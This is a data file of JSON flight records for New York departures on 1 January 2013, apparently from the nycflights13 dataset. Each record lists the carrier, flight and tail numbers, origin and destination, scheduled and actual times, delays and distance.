-{"year":2013,"month":1,"day":1,"dep_time":1826,"sched_dep_time":1810,"dep_delay":16,"arr_time":2132,"sched_arr_time":2130,"arr_delay":2,"carrier":"AA","flight":1611,"tailnum":"N3DWAA","origin":"LGA","dest":"MIA","air_time":153,"distance":1096,"hour":18,"minute":10,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1826,"sched_dep_time":1830,"dep_delay":-4,"arr_time":2154,"sched_arr_time":2207,"arr_delay":-13,"carrier":"DL","flight":1643,"tailnum":"N3772H","origin":"JFK","dest":"SEA","air_time":334,"distance":2422,"hour":18,"minute":30,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1827,"sched_dep_time":1829,"dep_delay":-2,"arr_time":2105,"sched_arr_time":2056,"arr_delay":9,"carrier":"UA","flight":1139,"tailnum":"N39728","origin":"EWR","dest":"DEN","air_time":246,"distance":1605,"hour":18,"minute":29,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1828,"sched_dep_time":1805,"dep_delay":23,"arr_time":2023,"sched_arr_time":1951,"arr_delay":32,"carrier":"EV","flight":4334,"tailnum":"N11119","origin":"LGA","dest":"CLE","air_time":80,"distance":419,"hour":18,"minute":5,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1830,"sched_dep_time":1829,"dep_delay":1,"arr_time":2131,"sched_arr_time":2125,"arr_delay":6,"carrier":"UA","flight":1684,"tailnum":"N33714","origin":"EWR","dest":"PBI","air_time":152,"distance":1023,"hour":18,"minute":29,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1832,"sched_dep_time":1823,"dep_delay":9,"arr_time":1948,"sched_arr_time":1940,"arr_delay":8,"carrier":"EV","flight":4326,"tailnum":"N13988","origin":"EWR","dest":"PWM","air_time":48,"distance":284,"hour":18,"minute":23,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1832,"sched_dep_time":1835,"dep_delay":-3,"arr_time":2059,"sched_arr_time":2103,"arr_delay":-4,"carrier":"9E","flight":3830,"tailnum":"N8894A","origin":"JFK","dest":"CHS","air_time":106,"distance":636,"hour":18,"minute":35,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1832,"sched_dep_time":1828,"dep_delay":4,"arr_time":2144,"sched_arr_time":2144,"arr_delay":0,"carrier":"UA","flight":1075,"tailnum":"N18220","origin":"EWR","dest":"SNA","air_time":342,"distance":2434,"hour":18,"minute":28,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1834,"sched_dep_time":1840,"dep_delay":-6,"arr_time":2027,"sched_arr_time":2020,"arr_delay":7,"carrier":"MQ","flight":3730,"tailnum":"N517MQ","origin":"EWR","dest":"ORD","air_time":137,"distance":719,"hour":18,"minute":40,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1834,"sched_dep_time":1800,"dep_delay":34,"arr_time":2014,"sched_arr_time":1942,"arr_delay":32,"carrier":"UA","flight":668,"tailnum":"N467UA","origin":"LGA","dest":"ORD","air_time":123,"distance":733,"hour":18,"minute":0,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1836,"sched_dep_time":1726,"dep_delay":70,"arr_time":2107,"sched_arr_time":1933,"arr_delay":94,"carrier":"EV","flight":4179,"tailnum":"N14543","origin":"EWR","dest":"CVG","air_time":123,"distance":569,"hour":17,"minute":26,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1840,"sched_dep_time":1836,"dep_delay":4,"arr_time":2022,"sched_arr_time":2010,"arr_delay":12,"carrier":"B6","flight":130,"tailnum":"N281JB","origin":"JFK","dest":"BUF","air_time":70,"distance":301,"hour":18,"minute":36,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1840,"sched_dep_time":1845,"dep_delay":-5,"arr_time":2055,"sched_arr_time":2030,"arr_delay":25,"carrier":"MQ","flight":4517,"tailnum":"N725MQ","origin":"LGA","dest":"CRW","air_time":96,"distance":444,"hour":18,"minute":45,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1840,"sched_dep_time":1845,"dep_delay":-5,"arr_time":2223,"sched_arr_time":2226,"arr_delay":-3,"carrier":"UA","flight":389,"tailnum":"N508UA","origin":"JFK","dest":"SFO","air_time":357,"distance":2586,"hour":18,"minute":45,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1842,"sched_dep_time":1422,"dep_delay":260,"arr_time":1958,"sched_arr_time":1535,"arr_delay":263,"carrier":"EV","flight":4633,"tailnum":"N18120","origin":"EWR","dest":"BTV","air_time":46,"distance":266,"hour":14,"minute":22,"time_hour":"2013-01-01 14:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1842,"sched_dep_time":1829,"dep_delay":13,"arr_time":2144,"sched_arr_time":2136,"arr_delay":8,"carrier":"UA","flight":1292,"tailnum":"N14214","origin":"EWR","dest":"FLL","air_time":149,"distance":1065,"hour":18,"minute":29,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1843,"sched_dep_time":1850,"dep_delay":-7,"arr_time":2052,"sched_arr_time":2050,"arr_delay":2,"carrier":"AA","flight":2019,"tailnum":"N594AA","origin":"LGA","dest":"STL","air_time":169,"distance":888,"hour":18,"minute":50,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1843,"sched_dep_time":1845,"dep_delay":-2,"arr_time":1955,"sched_arr_time":2024,"arr_delay":-29,"carrier":"DL","flight":904,"tailnum":"N344NB","origin":"JFK","dest":"BOS","air_time":34,"distance":187,"hour":18,"minute":45,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1843,"sched_dep_time":1835,"dep_delay":8,"arr_time":2339,"sched_arr_time":2346,"arr_delay":-7,"carrier":"DL","flight":329,"tailnum":"N900PC","origin":"JFK","dest":"SJU","air_time":192,"distance":1598,"hour":18,"minute":35,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1846,"sched_dep_time":1745,"dep_delay":61,"arr_time":2147,"sched_arr_time":2055,"arr_delay":52,"carrier":"AA","flight":785,"tailnum":"N3ESAA","origin":"LGA","dest":"DFW","air_time":223,"distance":1389,"hour":17,"minute":45,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1846,"sched_dep_time":1855,"dep_delay":-9,"arr_time":2336,"sched_arr_time":2355,"arr_delay":-19,"carrier":"AA","flight":1613,"tailnum":"N5BYAA","origin":"JFK","dest":"SJU","air_time":190,"distance":1598,"hour":18,"minute":55,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1848,"sched_dep_time":1745,"dep_delay":63,"arr_time":2238,"sched_arr_time":2120,"arr_delay":78,"carrier":"AA","flight":177,"tailnum":"N332AA","origin":"JFK","dest":"SFO","air_time":361,"distance":2586,"hour":17,"minute":45,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1849,"sched_dep_time":1900,"dep_delay":-11,"arr_time":2131,"sched_arr_time":2129,"arr_delay":2,"carrier":"FL","flight":645,"tailnum":"N920AT","origin":"LGA","dest":"ATL","air_time":134,"distance":762,"hour":19,"minute":0,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1850,"sched_dep_time":1900,"dep_delay":-10,"arr_time":2007,"sched_arr_time":2016,"arr_delay":-9,"carrier":"EV","flight":5714,"tailnum":"N835AS","origin":"JFK","dest":"IAD","air_time":55,"distance":228,"hour":19,"minute":0,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1850,"sched_dep_time":1850,"dep_delay":0,"arr_time":2142,"sched_arr_time":2141,"arr_delay":1,"carrier":"9E","flight":3364,"tailnum":"N908XJ","origin":"JFK","dest":"MSY","air_time":207,"distance":1182,"hour":18,"minute":50,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1850,"sched_dep_time":1850,"dep_delay":0,"arr_time":2249,"sched_arr_time":2240,"arr_delay":9,"carrier":"VX","flight":29,"tailnum":"N638VA","origin":"JFK","dest":"SFO","air_time":364,"distance":2586,"hour":18,"minute":50,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1853,"sched_dep_time":1900,"dep_delay":-7,"arr_time":2004,"sched_arr_time":2018,"arr_delay":-14,"carrier":"US","flight":2187,"tailnum":"N951UW","origin":"LGA","dest":"DCA","air_time":54,"distance":214,"hour":19,"minute":0,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1854,"sched_dep_time":1830,"dep_delay":24,"arr_time":2055,"sched_arr_time":2015,"arr_delay":40,"carrier":"MQ","flight":4674,"tailnum":"N518MQ","origin":"LGA","dest":"CLE","air_time":87,"distance":419,"hour":18,"minute":30,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1855,"sched_dep_time":1859,"dep_delay":-4,"arr_time":2140,"sched_arr_time":2145,"arr_delay":-5,"carrier":"DL","flight":947,"tailnum":"N339NW","origin":"LGA","dest":"ATL","air_time":135,"distance":762,"hour":18,"minute":59,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1855,"sched_dep_time":1848,"dep_delay":7,"arr_time":2203,"sched_arr_time":2200,"arr_delay":3,"carrier":"UA","flight":1128,"tailnum":"N36207","origin":"LGA","dest":"IAH","air_time":231,"distance":1416,"hour":18,"minute":48,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1856,"sched_dep_time":1645,"dep_delay":131,"arr_time":2212,"sched_arr_time":2005,"arr_delay":127,"carrier":"AA","flight":181,"tailnum":"N323AA","origin":"JFK","dest":"LAX","air_time":336,"distance":2475,"hour":16,"minute":45,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1856,"sched_dep_time":1859,"dep_delay":-3,"arr_time":2133,"sched_arr_time":2155,"arr_delay":-22,"carrier":"B6","flight":155,"tailnum":"N505JB","origin":"JFK","dest":"MCO","air_time":133,"distance":944,"hour":18,"minute":59,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1856,"sched_dep_time":1855,"dep_delay":1,"arr_time":2142,"sched_arr_time":2142,"arr_delay":0,"carrier":"DL","flight":951,"tailnum":"N173DZ","origin":"JFK","dest":"ATL","air_time":132,"distance":760,"hour":18,"minute":55,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1858,"sched_dep_time":1900,"dep_delay":-2,"arr_time":2034,"sched_arr_time":2035,"arr_delay":-1,"carrier":"WN","flight":2944,"tailnum":"N905WN","origin":"LGA","dest":"MKE","air_time":131,"distance":738,"hour":19,"minute":0,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1859,"sched_dep_time":1900,"dep_delay":-1,"arr_time":2012,"sched_arr_time":2021,"arr_delay":-9,"carrier":"EV","flight":4131,"tailnum":"N11544","origin":"EWR","dest":"RIC","air_time":55,"distance":277,"hour":19,"minute":0,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1859,"sched_dep_time":1900,"dep_delay":-1,"arr_time":2151,"sched_arr_time":2238,"arr_delay":-47,"carrier":"DL","flight":1967,"tailnum":"N329NW","origin":"JFK","dest":"MIA","air_time":150,"distance":1089,"hour":19,"minute":0,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1900,"sched_dep_time":1845,"dep_delay":15,"arr_time":2212,"sched_arr_time":2227,"arr_delay":-15,"carrier":"B6","flight":91,"tailnum":"N523JB","origin":"JFK","dest":"OAK","air_time":330,"distance":2576,"hour":18,"minute":45,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1904,"sched_dep_time":1905,"dep_delay":-1,"arr_time":2139,"sched_arr_time":2227,"arr_delay":-48,"carrier":"DL","flight":2159,"tailnum":"N3758Y","origin":"JFK","dest":"MCO","air_time":133,"distance":944,"hour":19,"minute":5,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1904,"sched_dep_time":1905,"dep_delay":-1,"arr_time":2157,"sched_arr_time":2208,"arr_delay":-11,"carrier":"UA","flight":1444,"tailnum":"N14242","origin":"EWR","dest":"TPA","air_time":150,"distance":997,"hour":19,"minute":5,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1905,"sched_dep_time":1900,"dep_delay":5,"arr_time":2311,"sched_arr_time":2301,"arr_delay":10,"carrier":"DL","flight":853,"tailnum":"N727TW","origin":"JFK","dest":"SFO","air_time":361,"distance":2586,"hour":19,"minute":0,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1906,"sched_dep_time":1915,"dep_delay":-9,"arr_time":2211,"sched_arr_time":2244,"arr_delay":-33,"carrier":"DL","flight":2391,"tailnum":"N922DL","origin":"JFK","dest":"TPA","air_time":159,"distance":1005,"hour":19,"minute":15,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1909,"sched_dep_time":1912,"dep_delay":-3,"arr_time":2239,"sched_arr_time":2237,"arr_delay":2,"carrier":"B6","flight":87,"tailnum":"N559JB","origin":"JFK","dest":"SLC","air_time":291,"distance":1990,"hour":19,"minute":12,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1909,"sched_dep_time":1910,"dep_delay":-1,"arr_time":2212,"sched_arr_time":2224,"arr_delay":-12,"carrier":"DL","flight":1629,"tailnum":"N6710E","origin":"JFK","dest":"LAS","air_time":323,"distance":2248,"hour":19,"minute":10,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1910,"sched_dep_time":1909,"dep_delay":1,"arr_time":2126,"sched_arr_time":2046,"arr_delay":40,"carrier":"EV","flight":3807,"tailnum":"N13978","origin":"EWR","dest":"BNA","air_time":159,"distance":748,"hour":19,"minute":9,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1910,"sched_dep_time":1910,"dep_delay":0,"arr_time":2126,"sched_arr_time":2107,"arr_delay":19,"carrier":"9E","flight":3359,"tailnum":"N925XJ","origin":"JFK","dest":"ORD","air_time":141,"distance":740,"hour":19,"minute":10,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1910,"sched_dep_time":1855,"dep_delay":15,"arr_time":2118,"sched_arr_time":2103,"arr_delay":15,"carrier":"US","flight":1491,"tailnum":"N540UW","origin":"LGA","dest":"CLT","air_time":107,"distance":544,"hour":18,"minute":55,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1911,"sched_dep_time":1910,"dep_delay":1,"arr_time":2050,"sched_arr_time":2055,"arr_delay":-5,"carrier":"MQ","flight":4569,"tailnum":"N737MQ","origin":"LGA","dest":"RDU","air_time":81,"distance":431,"hour":19,"minute":10,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1912,"sched_dep_time":1915,"dep_delay":-3,"arr_time":2200,"sched_arr_time":2219,"arr_delay":-19,"carrier":"DL","flight":1485,"tailnum":"N917DL","origin":"LGA","dest":"MCO","air_time":142,"distance":950,"hour":19,"minute":15,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1912,"sched_dep_time":1908,"dep_delay":4,"arr_time":2242,"sched_arr_time":2257,"arr_delay":-15,"carrier":"UA","flight":927,"tailnum":"N432UA","origin":"EWR","dest":"PHX","air_time":309,"distance":2133,"hour":19,"minute":8,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1915,"sched_dep_time":1920,"dep_delay":-5,"arr_time":2238,"sched_arr_time":2257,"arr_delay":-19,"carrier":"DL","flight":6,"tailnum":"N633DL","origin":"JFK","dest":"SLC","air_time":281,"distance":1990,"hour":19,"minute":20,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1915,"sched_dep_time":1904,"dep_delay":11,"arr_time":2242,"sched_arr_time":2246,"arr_delay":-4,"carrier":"UA","flight":1606,"tailnum":"N76503","origin":"EWR","dest":"SFO","air_time":351,"distance":2565,"hour":19,"minute":4,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1916,"sched_dep_time":1920,"dep_delay":-4,"arr_time":2053,"sched_arr_time":2100,"arr_delay":-7,"carrier":"AA","flight":359,"tailnum":"N3CUAA","origin":"LGA","dest":"ORD","air_time":136,"distance":733,"hour":19,"minute":20,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1919,"sched_dep_time":1900,"dep_delay":19,"arr_time":2125,"sched_arr_time":2107,"arr_delay":18,"carrier":"EV","flight":3267,"tailnum":"N14558","origin":"EWR","dest":"CLT","air_time":105,"distance":529,"hour":19,"minute":0,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1921,"sched_dep_time":1920,"dep_delay":1,"arr_time":2315,"sched_arr_time":2319,"arr_delay":-4,"carrier":"DL","flight":541,"tailnum":"N375DA","origin":"JFK","dest":"PHX","air_time":314,"distance":2153,"hour":19,"minute":20,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1923,"sched_dep_time":1837,"dep_delay":46,"arr_time":2139,"sched_arr_time":2045,"arr_delay":54,"carrier":"EV","flight":4125,"tailnum":"N23139","origin":"EWR","dest":"GRR","air_time":116,"distance":605,"hour":18,"minute":37,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1923,"sched_dep_time":1859,"dep_delay":24,"arr_time":2239,"sched_arr_time":2234,"arr_delay":5,"carrier":"B6","flight":171,"tailnum":"N552JB","origin":"JFK","dest":"SMF","air_time":333,"distance":2521,"hour":18,"minute":59,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1925,"sched_dep_time":1930,"dep_delay":-5,"arr_time":2037,"sched_arr_time":2050,"arr_delay":-13,"carrier":"EV","flight":5742,"tailnum":"N833AS","origin":"LGA","dest":"IAD","air_time":52,"distance":229,"hour":19,"minute":30,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1925,"sched_dep_time":1900,"dep_delay":25,"arr_time":2259,"sched_arr_time":2238,"arr_delay":21,"carrier":"DL","flight":87,"tailnum":"N624AG","origin":"JFK","dest":"LAX","air_time":332,"distance":2475,"hour":19,"minute":0,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1926,"sched_dep_time":1910,"dep_delay":16,"arr_time":2258,"sched_arr_time":2215,"arr_delay":43,"carrier":"AA","flight":2075,"tailnum":"N4XFAA","origin":"EWR","dest":"DFW","air_time":248,"distance":1372,"hour":19,"minute":10,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1928,"sched_dep_time":1930,"dep_delay":-2,"arr_time":2117,"sched_arr_time":2135,"arr_delay":-18,"carrier":"9E","flight":4261,"tailnum":"N8611A","origin":"JFK","dest":"RDU","air_time":75,"distance":427,"hour":19,"minute":30,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1929,"sched_dep_time":1920,"dep_delay":9,"arr_time":3,"sched_arr_time":7,"arr_delay":-4,"carrier":"UA","flight":1071,"tailnum":"N27205","origin":"EWR","dest":"BQN","air_time":192,"distance":1585,"hour":19,"minute":20,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1930,"sched_dep_time":1745,"dep_delay":105,"arr_time":2233,"sched_arr_time":2112,"arr_delay":81,"carrier":"DL","flight":503,"tailnum":"N3764D","origin":"JFK","dest":"SAN","air_time":333,"distance":2446,"hour":17,"minute":45,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1934,"sched_dep_time":1725,"dep_delay":129,"arr_time":2126,"sched_arr_time":1855,"arr_delay":151,"carrier":"MQ","flight":4255,"tailnum":"N909MQ","origin":"JFK","dest":"BNA","air_time":154,"distance":765,"hour":17,"minute":25,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1935,"sched_dep_time":1930,"dep_delay":5,"arr_time":2223,"sched_arr_time":2143,"arr_delay":40,"carrier":"EV","flight":4085,"tailnum":"N12157","origin":"EWR","dest":"OMA","air_time":209,"distance":1134,"hour":19,"minute":30,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1937,"sched_dep_time":1905,"dep_delay":32,"arr_time":2250,"sched_arr_time":2225,"arr_delay":25,"carrier":"AA","flight":21,"tailnum":"N327AA","origin":"JFK","dest":"LAX","air_time":332,"distance":2475,"hour":19,"minute":5,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1938,"sched_dep_time":1703,"dep_delay":155,"arr_time":2109,"sched_arr_time":1823,"arr_delay":166,"carrier":"EV","flight":4300,"tailnum":"N18557","origin":"EWR","dest":"RIC","air_time":68,"distance":277,"hour":17,"minute":3,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1939,"sched_dep_time":1840,"dep_delay":59,"arr_time":29,"sched_arr_time":2151,"carrier":"9E","flight":3325,"tailnum":"N905XJ","origin":"JFK","dest":"DFW","distance":1391,"hour":18,"minute":40,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1939,"sched_dep_time":1940,"dep_delay":-1,"arr_time":2238,"sched_arr_time":2240,"arr_delay":-2,"carrier":"AA","flight":1787,"tailnum":"N3EGAA","origin":"JFK","dest":"TPA","air_time":158,"distance":1005,"hour":19,"minute":40,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1940,"sched_dep_time":1905,"dep_delay":35,"arr_time":2033,"sched_arr_time":2021,"arr_delay":12,"carrier":"UA","flight":698,"tailnum":"N580UA","origin":"EWR","dest":"BOS","air_time":36,"distance":200,"hour":19,"minute":5,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1941,"sched_dep_time":1940,"dep_delay":1,"arr_time":2231,"sched_arr_time":2241,"arr_delay":-10,"carrier":"B6","flight":381,"tailnum":"N632JB","origin":"LGA","dest":"FLL","air_time":152,"distance":1076,"hour":19,"minute":40,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1942,"sched_dep_time":1705,"dep_delay":157,"arr_time":2124,"sched_arr_time":1830,"arr_delay":174,"carrier":"MQ","flight":4410,"tailnum":"N835MQ","origin":"JFK","dest":"DCA","air_time":60,"distance":213,"hour":17,"minute":5,"time_hour":"2013-01-01 17:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1945,"sched_dep_time":1940,"dep_delay":5,"arr_time":2247,"sched_arr_time":2231,"arr_delay":16,"carrier":"9E","flight":3361,"tailnum":"N913XJ","origin":"JFK","dest":"JAX","air_time":129,"distance":828,"hour":19,"minute":40,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1946,"sched_dep_time":1930,"dep_delay":16,"arr_time":2148,"sched_arr_time":2134,"arr_delay":14,"carrier":"EV","flight":4532,"tailnum":"N34110","origin":"EWR","dest":"CHS","air_time":106,"distance":628,"hour":19,"minute":30,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1949,"sched_dep_time":1859,"dep_delay":50,"arr_time":2237,"sched_arr_time":2153,"arr_delay":44,"carrier":"B6","flight":711,"tailnum":"N640JB","origin":"JFK","dest":"LAS","air_time":309,"distance":2248,"hour":18,"minute":59,"time_hour":"2013-01-01 18:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1952,"sched_dep_time":1930,"dep_delay":22,"arr_time":2358,"sched_arr_time":2207,"carrier":"EV","flight":4333,"tailnum":"N11194","origin":"EWR","dest":"TUL","distance":1215,"hour":19,"minute":30,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1952,"sched_dep_time":2000,"dep_delay":-8,"arr_time":2314,"sched_arr_time":2325,"arr_delay":-11,"carrier":"VX","flight":415,"tailnum":"N640VA","origin":"JFK","dest":"LAX","air_time":349,"distance":2475,"hour":20,"minute":0,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1952,"sched_dep_time":1930,"dep_delay":22,"arr_time":2257,"sched_arr_time":2251,"arr_delay":6,"carrier":"UA","flight":1416,"tailnum":"N76523","origin":"EWR","dest":"SEA","air_time":342,"distance":2402,"hour":19,"minute":30,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1955,"sched_dep_time":2000,"dep_delay":-5,"arr_time":2145,"sched_arr_time":2151,"arr_delay":-6,"carrier":"9E","flight":3409,"tailnum":"N920XJ","origin":"JFK","dest":"PIT","air_time":76,"distance":340,"hour":20,"minute":0,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1957,"sched_dep_time":2005,"dep_delay":-8,"arr_time":2100,"sched_arr_time":2126,"arr_delay":-26,"carrier":"9E","flight":4091,"tailnum":"N8598B","origin":"JFK","dest":"BWI","air_time":41,"distance":184,"hour":20,"minute":5,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1957,"sched_dep_time":1945,"dep_delay":12,"arr_time":2307,"sched_arr_time":2329,"arr_delay":-22,"carrier":"B6","flight":645,"tailnum":"N652JB","origin":"JFK","dest":"SFO","air_time":337,"distance":2586,"hour":19,"minute":45,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1957,"sched_dep_time":2000,"dep_delay":-3,"arr_time":2321,"sched_arr_time":2310,"arr_delay":11,"carrier":"UA","flight":299,"tailnum":"N817UA","origin":"EWR","dest":"DFW","air_time":233,"distance":1372,"hour":20,"minute":0,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1959,"sched_dep_time":1930,"dep_delay":29,"arr_time":2331,"sched_arr_time":2306,"arr_delay":25,"carrier":"DL","flight":1181,"tailnum":"N319NB","origin":"JFK","dest":"SAT","air_time":251,"distance":1587,"hour":19,"minute":30,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":1959,"sched_dep_time":2000,"dep_delay":-1,"arr_time":2310,"sched_arr_time":2307,"arr_delay":3,"carrier":"UA","flight":1233,"tailnum":"N76514","origin":"EWR","dest":"IAH","air_time":232,"distance":1400,"hour":20,"minute":0,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2000,"sched_dep_time":1930,"dep_delay":30,"arr_time":2255,"sched_arr_time":2140,"arr_delay":75,"carrier":"EV","flight":4361,"tailnum":"N12567","origin":"EWR","dest":"TYS","air_time":138,"distance":631,"hour":19,"minute":30,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2000,"sched_dep_time":2000,"dep_delay":0,"arr_time":2054,"sched_arr_time":2110,"arr_delay":-16,"carrier":"9E","flight":3664,"tailnum":"N836AY","origin":"JFK","dest":"PHL","air_time":30,"distance":94,"hour":20,"minute":0,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2002,"sched_dep_time":1955,"dep_delay":7,"arr_time":2306,"sched_arr_time":2310,"arr_delay":-4,"carrier":"AA","flight":1709,"tailnum":"N3GSAA","origin":"LGA","dest":"MIA","air_time":159,"distance":1096,"hour":19,"minute":55,"time_hour":"2013-01-01 19:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2003,"sched_dep_time":2000,"dep_delay":3,"arr_time":2302,"sched_arr_time":2311,"arr_delay":-9,"carrier":"UA","flight":1680,"tailnum":"N11206","origin":"EWR","dest":"MIA","air_time":154,"distance":1085,"hour":20,"minute":0,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2006,"sched_dep_time":1630,"dep_delay":216,"arr_time":2230,"sched_arr_time":1848,"arr_delay":222,"carrier":"EV","flight":4644,"tailnum":"N14972","origin":"EWR","dest":"SAV","air_time":121,"distance":708,"hour":16,"minute":30,"time_hour":"2013-01-01 16:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2006,"sched_dep_time":2000,"dep_delay":6,"arr_time":2132,"sched_arr_time":2130,"arr_delay":2,"carrier":"UA","flight":1271,"tailnum":"N12218","origin":"LGA","dest":"ORD","air_time":126,"distance":733,"hour":20,"minute":0,"time_hour":"2013-01-01 20:00:00"} -{"year":2013,"month":1,"day":1,"dep_time":2008,"sched_dep_time":1855,"dep_delay":73,"arr_time":2223,"sched_arr_time":2100,"arr_delay":83,"carrier":"MQ","flight":4649,"tailnum":"N527MQ","origin":"LGA","dest":"MSP","air_time":163,"distance":1020,"hour":18,"minute":55,"time_hour":"2013-01-01 18:00:00"} 